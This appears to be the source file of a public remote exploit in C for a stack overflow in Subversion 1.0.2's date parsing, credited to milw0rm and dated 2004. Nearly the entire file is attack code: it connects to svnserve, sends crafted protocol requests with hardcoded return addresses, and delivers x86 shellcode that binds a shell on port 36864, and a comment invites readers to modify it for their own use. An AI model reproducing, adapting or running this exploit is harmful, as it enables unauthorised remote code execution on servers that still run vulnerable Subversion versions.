159 lines
3.7 KiB
C
Executable file
159 lines
3.7 KiB
C
Executable file
/* subversion-1.0.2 exploit by Gyan Chawdhary ...
|
|
* exploits a stack overflow in the svn_time_from_cstring() function. We build
|
|
* a date format which is valid but at the same time exits after the sscanf
|
|
* function, or else it branches into another function which segfaults at the
|
|
* apr_pool_t *pool. We overwrite our eip with a pointer to the main *data
|
|
* buffer stored in the heap where our shell code is stored in the main request
|
|
* itself. This is cause the local stack space for svn_time_from_cstring is
|
|
* small. Will bind a shell on 36864 port. Modify it for ur own usage.
|
|
*
|
|
* boring exploit for a boring vulnerability
|
|
* Gyan
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/types.h>
|
|
|
|
#define BUF_SIZE ( 1024 * 2 )
|
|
#define TRUE 1
|
|
#define FALSE 0
|
|
#define PORT 3690 /* Default svnserve Port */
|
|
#define IP "127.0.0.1"
|
|
#define CMD "/bin/uname -a ; id ;\r\n";
|
|
|
|
struct targets {
|
|
char *os;
|
|
unsigned int *eip;
|
|
unsigned int *shell_nop;
|
|
};
|
|
|
|
/*struct targets TARGETS[] =
|
|
{
|
|
{ "Redhat 8.0 - (Psyche)",
|
|
*/
|
|
char offset1[] = "\x78\x32\x06\x08"; // 0x8063278 + 88 + 12;
|
|
char offset2[] = "\xdc\x32\x06\x08"; // 0x80632dc
|
|
|
|
int sockfd;
|
|
|
|
char request1[] = "( 2 ( edit-pipeline ) %d:%s )\n";
|
|
|
|
char request2[] = "( ANONYMOUS ( 0: ) )\n";
|
|
|
|
char request3[] = "( get-dated-rev ( 314:aaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 4 a tttt 16:24:23.111 (day 277, dst 1, gmt_off -18000) ) )\n";
|
|
|
|
char request4[] = "( check-path ( 0: ( 0 ) ) )\n";
|
|
|
|
|
|
/* p_types */
|
|
void xp_connect(char *);
|
|
char *build_request(char *);
|
|
void talk(char *, char *);
|
|
|
|
|
|
char shellcode[] =
|
|
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
|
|
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
|
|
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
|
|
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
|
|
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
|
|
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
|
|
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
|
|
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
|
|
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
|
|
|
|
|
|
void xp_connect(char *ip)
|
|
{
|
|
// int sockfd;
|
|
struct sockaddr_in s;
|
|
char buffer[1024];
|
|
char temp[1024];
|
|
int tmp;
|
|
|
|
s.sin_family = AF_INET;
|
|
s.sin_port = htons(PORT);
|
|
s.sin_addr.s_addr = inet_addr(IP);
|
|
|
|
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
|
|
{
|
|
printf("Cannot create socket\n");
|
|
exit(-1);
|
|
}
|
|
|
|
if((connect(sockfd,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
|
|
{
|
|
printf("Cannot connect()\n");
|
|
exit(-1);
|
|
}
|
|
memset(temp, '\0', sizeof(temp));
|
|
tmp = recv(sockfd,temp,1024,0);
|
|
|
|
}
|
|
|
|
void talk(char *ip, char *repo)
|
|
{
|
|
char buffer[1024], request[1024], tmp[512];
|
|
static char string[] = "svn://%s/%s";
|
|
int size;
|
|
char *str;
|
|
|
|
sprintf(buffer, string, ip, repo);
|
|
size = strlen(buffer);
|
|
sprintf(request, request1, size, buffer);
|
|
|
|
xp_connect(ip);
|
|
|
|
if (send(sockfd, request, strlen(request), 0) < 0)
|
|
{
|
|
printf("send() failed\n");
|
|
exit(-1);
|
|
}
|
|
recv(sockfd, tmp, 512, 0);
|
|
|
|
if (send(sockfd, request2, strlen(request2), 0) < 0)
|
|
{
|
|
printf("send() failed\n");
|
|
exit(-1);
|
|
}
|
|
recv(sockfd, tmp, 512, 0);
|
|
|
|
str = build_request(shellcode);
|
|
|
|
if(write (sockfd, str, strlen(str)) < 0)
|
|
{
|
|
printf("write() failed\n");
|
|
exit(-1);
|
|
}
|
|
|
|
close(sockfd);
|
|
//connect_target();
|
|
}
|
|
|
|
|
|
|
|
char *build_request(char *sc)
|
|
{
|
|
char *buffer, *ptr;
|
|
buffer = (char *)malloc(1024);
|
|
ptr = buffer;
|
|
sprintf(ptr, request3, offset1, offset2, sc);
|
|
|
|
return buffer;
|
|
}
|
|
|
|
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
talk(IP, "cool");
|
|
}
|
|
|
|
// milw0rm.com [2004-06-25]
|